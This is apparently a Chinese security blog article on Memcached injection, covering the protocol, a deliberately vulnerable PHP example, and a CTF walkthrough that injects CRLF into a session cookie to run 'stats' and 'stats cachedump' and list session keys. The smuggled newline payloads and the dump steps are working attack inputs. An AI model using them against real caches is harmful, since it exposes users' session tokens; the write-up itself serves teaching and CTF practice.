被人遺忘的Memcached記憶體注射
0x00 寫在前面
wooyun主站也有過Memcached相關漏洞,但大多都是未授權訪問,其實即使是部署得當的Memcached,如果碰上安全意識差的程式設計師哥哥,那麼同樣會出現Memcached安全風險,導致敏感記憶體洩露。
也就是本文要說的Memcached注入
0x01 Memcached簡介&安全性分析
Memcached 是一個高效能的分散式記憶體物件快取系統,用於動態Web應用以減輕資料庫負載。
它透過在記憶體中快取資料和物件來減少讀取資料庫的次數,從而提高動態、資料庫驅動網站的速度。
用白話就是說,當傳統web將訪問產生的臨時資料儲存在後端資料庫(如user sessions),部署了Memcached的應用會將user sessions以及其他一些敏感資訊儲存在RAM中,增速同時也減輕後端資料庫反覆查詢帶來的負載。
Memcached建立者Dormando很早就寫過兩篇文章,告誡開發人員不要用memcached儲存Session。但是很多開發者為了效能或者其他原因,依舊把session儲存在memcached中。這樣做,一旦memcached被攻擊,直接將導致管理員或者是使用者token洩露。
0x02 Memcached協議
當Memcache被部署之後,我們該如何向其中新增資料?我們透過一個cheat sheet瞭解一下Memcached的協議。
Memcached的語法由如下元素組成
{COMMAND}0x20{ARGUMENT}(LF|CRLF)
command欄位有如下幾條命令
- 儲存操作(set, add, replace, append, prepend, cas)
- 檢索操作 (get, gets)
- 刪除操作 (delete)
- 增減操作 (incr, decr)
- touch
- slabs reassign
- slabs automove
- lru_crawler
- 統計操作(stats items, slabs, cachedump)
- 其他操作 (version, flush_all, quit)
下面給出幾個安全測試中有用的命令
Command | 描述 | 例項 |
get | 讀某個值 | get mykey |
set | 強制設定某個鍵值 | set mykey 0 60 5 |
add | 新增新鍵值對 | add newkey 0 60 5 |
replace | 覆蓋已經存在的key | replace key 0 60 5 |
flush_all | 讓所有條目失效 | flush_all |
stats | 列印當前狀態 | stats |
stats malloc | 列印記憶體狀態 | stats malloc |
version | 列印Memcached版本 | version |
stats cachedump 讀取記憶體中儲存的條目
0x03 Memcached程式碼實現
部署好Memcached之後,一個呼叫Memcached的php程式碼是這樣的。
#!php
<?php
$m = new Memcached();
$m->set("prefix_".$_GET[‘key’],"data");
為了體現漏洞的產生,我想這樣寫
#!php
<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->set("key1 0 0 1\r\n1\r\nset injected 0 3600 10\r\n1234567890\r\n","1234567890",30);
?>
set("key1 0 0 1\r\n1\r\nset injected 0 3600 10\r\n1234567890\r\n","1234567890",30)
是的,這裡也就能看到問題。
執行剛剛的命令的時候,server和client的通訊是這樣的(>表示傳送到Memcached ,<表示從Memcached的返回)
> set key 0 0 1
> 1
< STORED
> set injected 0 3600 10
> 1234567890
< STORED
> 0 30 10
< ERROR
> 1234567890
< ERROR
可以看到,對Memcached的協議來講,\r\n是可以用來分割命令的,所以說,我們能直接透過CLRF注入,將\r\n注入到將要傳入Memcached的元素中(例如cookies),實現命令執行。
0x04 Memcache Injection例項
最近的一次ctf中,有一個典型的基於CLRF的Memcache注入。(目前該站可以訪問)
http://login2.chal.mmactf.link/login
login as admin
登入之後的請求是這樣的
GET / HTTP/1.1
Host: login2.chal.mmactf.link
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/ 20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://login2.chal.mmactf.link/login
Cookie: ss=c4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb
Connection: keep-alive
在測試http頭注入的時候,我們發現將%0a注入到cookies中時,也就是請求:
Cookie: ss=%0ac4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb
返回如下
</div>
<div id="info">
<p>MemcacheError:ERROR
ERROR</p>
</div>
</body>
</html>
恩,memcached出錯了,那不就是剛剛提到的error嗎?
> 1234567890
< ERROR
說明這裡ss的value代入了memcached。
我們繼續在cookies裡面注入:ss=%0astats
MemcacheError:ERROR
STAT pid 988
STAT uptime 651664
STAT time 1442726665
STAT version 1.4.14 (Ubuntu)
STAT libevent 2.0.21-stable
STAT pointer_size 64
STAT rusage_user 17.256000
STAT rusage_system 18.232000
STAT curr_connections 5
STAT total_connections 946
STAT connection_structures 6
STAT reserved_fds 20
STAT cmd_get 615
STAT cmd_set 188
STAT cmd_flush 0
STAT cmd_touch 0
STAT get_hits 299
STAT get_misses 316
STAT delete_misses 0
STAT delete_hits 42
STAT incr_misses 0
STAT incr_hits 0
STAT decr_misses 0
STAT decr_hits 0
STAT cas_misses 0
STAT cas_hits 0
STAT cas_badval 0
STAT touch_hits 0
STAT touch_misses 0
STAT auth_cmds 0
STAT auth_errors 0
STAT bytes_read 54350
STAT bytes_written 86307
STAT limit_maxbytes 67108864
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT threads 4
STAT conn_yields 0
STAT hash_power_level 16
STAT hash_bytes 524288
STAT hash_is_expanding 0
STAT expired_unfetched 15
STAT evicted_unfetched 0
STAT bytes 1137
STAT curr_items 8
STAT total_items 153
STAT evictions 0
STAT reclaimed 96
END
果然返回了memcached的stats
現在來做我們最想做的一件事情,dump記憶體中的東西看看:我們利用cachedump
stats cachedump {slab class} {number of items to dump}
這裡需要介紹下 memcached是以slab class進行分類的 比如:
$ memcached -vv
slab class 1: chunk size 96 perslab 10922
slab class 2: chunk size 120 perslab 8738
slab class 3: chunk size 152 perslab 6898
slab class 4: chunk size 192 perslab 5461
我們可以看到每個class的編排
所以我們每一個都dump出來看看才好:
Cookie: %0astats cachedump 1 1000
返回為
MemcacheError:ERROR ITEM key [1 b; 1441762228 s] ITEM 12345 [20 b; 1441494967 s] END
當我遍歷到class 3的時候:
Cookie: %0astats cachedump 3 1000
MemcacheError:ERROR
ITEM 3f063d8659f0f08c4454554294aca59bbe42cc6e11db23eb69f5a1c0a9486aa1 [19 b; 1442016274 s]
ITEM 0e9d0aecea498b15ee63d38dd4664dcfc75be0846ec4baee931b45a04462eeab [20 b; 1441494967 s]
ITEM 09cf27be606344f29bda74bd7c035e6d862c95025a2a6bb1785c8883ae65b18a [16 b; 1441494967 s]
ITEM b33542ed3c8bf5c2c346e26aac28a10055fa6a50c4948873810798e9f4cfca98 [20 b; 1441494967 s]
ITEM e391306f6481940ab3c796eb1253435b06e9a9357227de734b0ec3f58bd14d7f [19 b; 1442011213 s]
ITEM c706b288065ad5c29153d8773c3e3be6e8a07408cdf4e0e40e97917896e43839 [19 b; 1442012877 s]
ITEM a5e754e6e804bf7e49f8096242a6566cc337b06aa6c2dafda3f86edccf8cb4b3 [19 b; 1442011191 s]
ITEM edf938c33d05ff9f8696415d5ef817014a5cc2906abe24576fdafe8ae58dde48 [19 b; 1442010879 s]
ITEM 5f7d07e310e9fad574d0975741a9c05d0d75d7157ce9bb9546b7f58d940cee7a [19 b; 1442006048 s]
ITEM 3d1a32800a501fe7387287ba4631ae9318206ef96083a29f35fd1ef42f7a85c5 [19 b; 1441998916 s]
終於注入到我們所需要的class中去。
0x05 參考
Memcache cheat sheet: http://lzone.de/cheat-sheet/memcached
Memcached Injection: https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf
相關文章
- 被人遺忘的寶藏2020-11-12
- Eruda 一個被人遺忘的除錯神器2018-12-17除錯
- 容易被遺忘的前端基礎:JavaScript 記憶體詳解2019-03-21前端JavaScript記憶體
- Memcached記憶體管理原始碼分析2021-09-09記憶體原始碼
- 《遺忘工程師》:一次超現實記憶之旅2021-04-20工程師
- 從萬人追捧到被人遺忘,《憤怒的小鳥》經歷了什麼?2020-03-12
- Android備忘錄《記憶體洩漏》2019-02-22Android記憶體
- 被遺忘的CSS2018-04-07CSS
- 人工智慧也需要學會遺忘?聲音與影像哪個容易記憶?2019-06-27人工智慧
- 「聊聊」被遺忘的時間2018-06-17
- Hashtable 漸漸被人們遺忘了,只有面試官還記得,感動2021-04-01面試
- Java的記憶體 -JVM 記憶體管理2018-08-20Java記憶體JVM
- Swoole 核心開發備忘:記憶體管理優化(swString)2020-06-28記憶體優化
- 那些被遺忘的Enix遊戲2019-11-11遊戲
- 記憶體管理篇——實體記憶體的管理2022-02-23記憶體
- “被遺忘的國度”旅行記:寫在《博德之門3》搶先體驗之前2020-09-23
- linux記憶體管理(一)實體記憶體的組織和記憶體分配2024-06-07Linux記憶體
- JS中的棧記憶體、堆記憶體2019-02-23JS記憶體
- 記憶體安全週報 | 1109舉無遺策,防微慮遠2020-11-09記憶體
- Redis記憶體——記憶體消耗(記憶體都去哪了?)2021-05-20Redis記憶體
- 被遺忘的Java關鍵字:transient2023-05-02Java
- 容易遺忘的知識點總結2021-09-16
- 那迷人的被遺忘的語言:Prolog2018-08-13
- 什麼是Java記憶體模型(JMM)中的主記憶體和本地記憶體?2024-07-30Java記憶體模型
- 記憶體管理 記憶體管理概述2020-11-03記憶體
- 【記憶體管理】記憶體佈局2024-06-10記憶體
- 記憶體的分配與釋放,記憶體洩漏2019-05-12記憶體
- NIO的JVM記憶體和機器記憶體的選擇2019-03-18JVM記憶體
- Go:記憶體管理與記憶體清理2020-08-04Go記憶體
- 聊聊 記憶體模型與記憶體序2022-06-16記憶體模型
- ArkTS 的記憶體快照與記憶體洩露除錯2024-10-29記憶體洩露除錯
- 遊戲記憶體對比普通記憶體區別 遊戲記憶體和普通記憶體相差大嗎?2018-06-23遊戲記憶體
- OpenResty 和 Nginx 的共享記憶體區是如何消耗實體記憶體的2020-08-25RESTNginx記憶體
- Java記憶體區域和記憶體模型2019-04-08Java記憶體模型
- 直接記憶體和堆記憶體誰快2018-05-30記憶體
- 記憶體溢位和記憶體洩露2022-11-30記憶體溢位記憶體洩露
- 【Java基礎】實體記憶體&虛擬記憶體2024-10-19Java記憶體
- java記憶體溢位和記憶體洩漏的區別2018-04-27Java記憶體溢位